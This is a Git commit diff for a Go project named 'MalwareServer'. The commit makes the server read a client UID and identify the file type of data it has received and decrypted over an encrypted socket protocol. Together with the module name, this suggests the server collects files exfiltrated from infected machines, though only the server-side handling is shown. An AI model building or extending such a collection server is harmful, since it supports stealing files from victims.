Make server get filetype and identify file

This commit is contained in:
Joren Schipman 2024-05-01 22:29:29 +02:00
parent 721b4b5ddc
commit 7197c347ea
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 24 additions and 2 deletions

2
go.mod
View File

@ -1,3 +1,5 @@
module MalwareServer
go 1.22.2
require github.com/liamg/magic v0.0.1 // indirect

View File

@ -13,6 +13,7 @@ import (
"io/ioutil"
"log"
"net"
"github.com/liamg/magic"
)
func main() {
@ -65,6 +66,10 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
iv, _ := decryptKeyIV(ivData,privateKey)
conn.Write([]byte("Received IV\n"))
uidData, _ := bufio.NewReader(conn).ReadString('\n')
uid, _ := decryptKeyIV(uidData,privateKey)
conn.Write([]byte("Received UID\n"))
var ciphertext []byte
var chunk string
var plaintext []byte
@ -91,7 +96,7 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
conn.Write([]byte("Received and decrypted chunk\n"))
}
fmt.Println("Decrypted text:", string(plaintext))
handleDecrypted(plaintext, uid)
conn.Write([]byte("Ready for next operation\n"))
}
@ -171,4 +176,19 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
}
decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
return decodedKey, err
}
}
func handleDecrypted(decryptedDataB []byte, uidB []byte){
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
fileType, err := magic.Lookup(data)
if err != nil {
if err == magic.ErrUnknown {
fmt.Println("File type is unknown")
}else{
panic(err)
}
}
fmt.Printf("UID: %s\n", string(uidB))
fmt.Printf("File extension: %s\n", fileType.Extension)
fmt.Printf("File type description: %s\n", fileType.Description)
}